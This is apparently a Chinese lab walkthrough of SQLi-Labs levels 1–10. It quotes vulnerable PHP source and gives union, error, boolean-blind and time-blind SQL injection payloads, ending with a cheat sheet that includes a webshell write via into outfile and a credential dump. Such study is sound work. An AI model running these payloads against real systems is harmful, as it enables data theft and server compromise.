SQLi-Labs 1-10道题思路整理
重点在于理解考察点和解决思路
有了思路后面就套路一些公式代码即可
Less-1
- 题目内容: GET - Error based - String。基于错误的字符串注入,使用单引号闭合,参数通过GET id传入,查询用户数据并显示用户名和密码。
- 源码分析及漏洞点:
漏洞点:查询语句中id参数直接拼接在单引号内(‘$id’),未过滤用户输入。攻击者可注入单引号闭合字符串,造成语法错误或联合查询,导致数据库信息泄露或绕过限制。<?php include("../sql-connections/sql-connect.php"); error_reporting(0); if(isset($_GET['id'])){ $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo 'Your Login name: ' . $row['username']; echo '<br>'; echo 'Your Password: ' . $row['password']; } else { print_r(mysql_error()); } } else { echo "Please input the ID as parameter with numeric value"; } ?> - 考查点: 单引号字符串闭合、联合查询(union select)、错误信息泄露。
- 解题思路和代码片段: 测试单引号引发错误,确定闭合。用order by找列数(3列),union select注入数据库信息。
- 测试: ?id=1’
- 列数: ?id=1’ order by 3 --+
- 注入: ?id=-1’ union select 1, database(), version() --+
Less-2
- 题目内容: GET - Error based - Integer。基于错误的整数注入,无引号闭合,参数通过GET id传入,查询用户数据并显示用户名和密码。
- 源码分析及漏洞点:
漏洞点:id参数无引号包围,直接作为整数拼接。攻击者可注入数字或运算符(如union),无需闭合引号,但需处理整数上下文,导致错误泄露信息。<?php include("../sql-connections/sql-connect.php"); error_reporting(0); if(isset($_GET['id'])){ $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo 'Your Login name: ' . $row['username']; echo '<br>'; echo 'Your Password: ' . $row['password']; } else { print_r(mysql_error()); } } else { echo "Please input the ID as parameter with numeric value"; } ?> - 考查点: 整数型注入、无需闭合引号、order by确定列数。
- 解题思路和代码片段: 无引号,直接注入数字或union。order by找列数。
- 测试: ?id=1 order by 3 --+
- 注入: ?id=-1 union select 1, database(), version() --+
- 相较上一题的难度提升: 无需闭合引号,引入整数型注入,难度略降但需理解类型差异(从字符串到整数上下文)。
Less-3
- 题目内容: GET - Error based - Single quote with twist。基于错误的单引号变体,使用括号和单引号闭合,参数通过GET id传入,查询用户数据并显示用户名和密码。
- 源码分析及漏洞点:
漏洞点:id参数在括号和单引号内((‘$id’))。需注入单引号闭合字符串,并处理括号,导致语法错误或注入联合查询。<?php include("../sql-connections/sql-connect.php"); error_reporting(0); if(isset($_GET['id'])){ $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo 'Your Login name: ' . $row['username']; echo '<br>'; echo 'Your Password: ' . $row['password']; } else { print_r(mysql_error()); } } else { echo "Please input the ID as parameter with numeric value"; } ?> - 考查点: 括号+单引号闭合变体、语法调整。
- 解题思路和代码片段: 单引号+括号闭合('))。
- 测试: ?id=1’)
- 注入: ?id=-1’) union select 1, database(), version() --+
- 相较上一题的难度提升: 引入括号闭合,增加语法复杂性,难度提升(需额外处理括号平衡)。
Less-4
- 题目内容: GET - Error based - Double quote string。基于错误的双引号字符串注入,使用括号和双引号闭合,参数通过GET id传入,查询用户数据并显示用户名和密码。
- 源码分析及漏洞点:
漏洞点:id参数在括号和双引号内((“$id”))。需注入双引号闭合,类似Less-3,但使用双引号变体。<?php include("../sql-connections/sql-connect.php"); error_reporting(0); if(isset($_GET['id'])){ $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id=(\"$id\") LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo 'Your Login name: ' . $row['username']; echo '<br>'; echo 'Your Password: ' . $row['password']; } else { print_r(mysql_error()); } } else { echo "Please input the ID as parameter with numeric value"; } ?> - 考查点: 括号+双引号闭合、字符串变体处理。
- 解题思路和代码片段: 双引号+括号闭合("))。
- 测试: ?id=1")
- 注入: ?id=-1") union select 1, database(), version() --+
- 相较上一题的难度提升: 双引号变体,类似但需适应闭合符号,难度持平(主要是符号替换)。
Less-5
- 题目内容: GET - Double Injection - String。双注入字符串,错误基于盲注,使用单引号,参数通过GET id传入,成功仅显示"You are in"。
- 源码分析及漏洞点:
漏洞点:类似Less-1,但成功时仅显示"You are in",失败时显示错误(双注入)。漏洞在单引号闭合,适合错误盲注或联合查询,但无直接输出。<?php include("../sql-connections/sql-connect.php"); error_reporting(0); if(isset($_GET['id'])){ $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo "You are in..........."; } else { echo '<font color="#FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value"; } ?> - 考查点: 双注入(union但无直接输出)、错误盲注。
- 解题思路和代码片段: 双注入,成功无输出,失败显示错误。用union但需盲猜或错误触发。
- 测试: ?id=1’
- 注入: ?id=-1’ union select 1, database(), version() --+ (观察错误变化)
- 相较上一题的难度提升: 引入双注入,无直接输出,需盲注技巧,难度提升(从显式输出到部分盲注)。
Less-6
- 题目内容: GET - Double Injection - Double quote string。双注入双引号字符串,使用双引号,参数通过GET id传入,成功仅显示"You are in"。
- 源码分析及漏洞点:
漏洞点:双引号闭合变体,类似Less-5。需双引号注入,错误显示用于盲注。<?php include("../sql-connections/sql-connect.php"); error_reporting(0); if(isset($_GET['id'])){ $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id=\"$id\" LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo "You are in..........."; } else { echo '<font color="#FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value"; } ?> - 考查点: 双引号双注入、类似Less-5但闭合不同。
- 解题思路和代码片段: 类似Less-5,但双引号闭合。
- 测试: ?id=1"
- 注入: ?id=-1" union select 1, database(), version() --+
- 相较上一题的难度提升: 双引号变体,难度持平(主要是闭合符号调整)。
Less-7
- 题目内容: GET - Dump into outfile - String。文件导出注入,使用单引号,参数通过GET id传入,失败显示自定义消息,无错误输出。
- 源码分析及漏洞点:
漏洞点:括号和单引号闭合,失败时无错误显示,仅自定义消息。适合文件导出注入(如into outfile),漏洞在多层闭合。<?php include("../sql-connections/sql-connect.php"); error_reporting(0); if(isset($_GET['id'])){ $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo "You are in..........."; } else { echo '<font color="#FFFF00">'; echo "((( Something's Wrong )))"; echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value"; } ?> - 考查点: 文件导出(into outfile/dumpfile)、权限绕过。
- 解题思路和代码片段: 多层闭合('))),用于into outfile写文件(需文件权限)。
- 测试: ?id=1’))
- 写文件: ?id=1’)) union select 1, “<?php phpinfo(); ?>”, 3 into outfile ‘c:/www/shell.php’ --+
- 相较上一题的难度提升: 无错误输出,引入文件操作,需权限知识,难度提升(从盲注到高级利用)。
Less-8
- 题目内容: GET - Blind - Boolean Based - Single quote。布尔盲注,使用单引号,参数通过GET id传入,成功显示"You are in",失败无输出。
- 源码分析及漏洞点:
漏洞点:布尔盲注,无错误/输出差异,仅成功显示"You are in"。需通过真/假响应判断注入。<?php include("../sql-connections/sql-connect.php"); error_reporting(0); if(isset($_GET['id'])){ $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo "You are in..........."; } else { echo ""; } } else { echo "Please input the ID as parameter with numeric value"; } ?> - 考查点: 布尔盲注、真/假响应差异(如页面内容变化)。
- 解题思路和代码片段: 布尔盲注,真时显示"You are in",假时无。if/ascii/substr逐位猜。
- 测试: ?id=1’ and 1=1 --+ (真)
- 猜数据库: ?id=1’ and ascii(substr(database(),1,1))>100 --+
- 相较上一题的难度提升: 布尔盲注,无任何输出/错误,需响应差异判断,难度大幅提升(完全依赖页面变化)。
Less-9
- 题目内容: GET - Blind - Time Based - Single quote。时间盲注,使用单引号,参数通过GET id传入,响应始终相同"You are in"。
- 源码分析及漏洞点:
漏洞点:时间盲注,响应始终相同。需通过sleep()等时间延迟判断真/假。<?php include("../sql-connections/sql-connect.php"); error_reporting(0); if(isset($_GET['id'])){ $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo "You are in..........."; } else { echo "You are in..........."; } } else { echo "Please input the ID as parameter with numeric value"; } ?> - 考查点: 时间盲注、sleep/if条件延迟。
- 解题思路和代码片段: 时间盲注,始终显示"You are in",用sleep/if延迟判断真假。
- 测试: ?id=1’ and if(1=1, sleep(5), 0) --+
- 猜数据库: ?id=1’ and if(ascii(substr(database(),1,1))>100, sleep(5), 0) --+
- 相较上一题的难度提升: 时间盲注,响应相同,需延迟判断,难度进一步提升(网络延迟干扰,判断更复杂)。
Less-10
- 题目内容: GET - Blind - Time Based - Double quote。时间盲注,使用双引号,参数通过GET id传入,响应始终相同"You are in"。
- 源码分析及漏洞点:
漏洞点:双引号时间盲注,类似Less-9,但闭合为双引号。<?php include("../sql-connections/sql-connect.php"); error_reporting(0); if(isset($_GET['id'])){ $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id=\"$id\" LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo "You are in..........."; } else { echo "You are in..........."; } } else { echo "Please input the ID as parameter with numeric value"; } ?> - 考查点: 双引号时间盲注、类似Less-9变体。
- 解题思路和代码片段: 类似Less-9,但双引号闭合。
- 测试: ?id=1" and if(1=1, sleep(5), 0) --+
- 猜数据库: ?id=1" and if(ascii(substr(database(),1,1))>100, sleep(5), 0) --+
- 相较上一题的难度提升: 双引号变体,难度持平(主要是闭合符号调整)。
总结
解题思路技巧总结:
- 基础测试: 总是从单引号/双引号测试开始,观察错误/响应变化,确定闭合方式(', ", ', ), "))。
- 列数确定: 用order by 1/2/3… 递增,直到错误;或union select 1,2,3… null填充。
- 注入类型判断: 有错误输出→错误注入;有响应差异→布尔盲注;无差异→时间盲注。
- 信息提取: union select database()/version()/user();盲注用ascii/substr/if逐位猜。
- 高级技巧: 文件导出需outfile/dumpfile,时间盲注用sleep/benchmark;自动化用sqlmap --technique=B/T/U。
- 难度递进: 从显式错误到完全盲注,强调适应闭合变体和响应分析。
常用SQL片段整理:
| 类别 | 片段示例 | 用途 |
|---|---|---|
| 测试闭合 | ’ , " , ') , ") , )) | 引发语法错误,确认注入点 |
| 列数确定 | order by 3 --+ union select 1,2,3 --+ | 找查询列数 |
| 基本信息提取 | union select database(), version(), user() --+ | 获取数据库/版本/用户 |
| 盲注布尔 | and ascii(substr(database(),1,1))>64 --+ | 逐位猜字符(真/假响应) |
| 盲注时间 | and if(1=1, sleep(5), 0) --+ | 延迟判断真假 |
| 文件导出 | union select 1, “<?php eval($_POST[1]); ?>”, 3 into outfile ‘/var/www/shell.php’ --+ | 写webshell(需权限) |
| 表/列枚举 | union select group_concat(table_name) from information_schema.tables where table_schema=database() --+ union select group_concat(column_name) from information_schema.columns where table_name=‘users’ --+ | 列出表/列 |
| 数据提取 | union select group_concat(username,‘:’,password) from users --+ | dump数据 |

239

被折叠的 条评论
为什么被折叠?



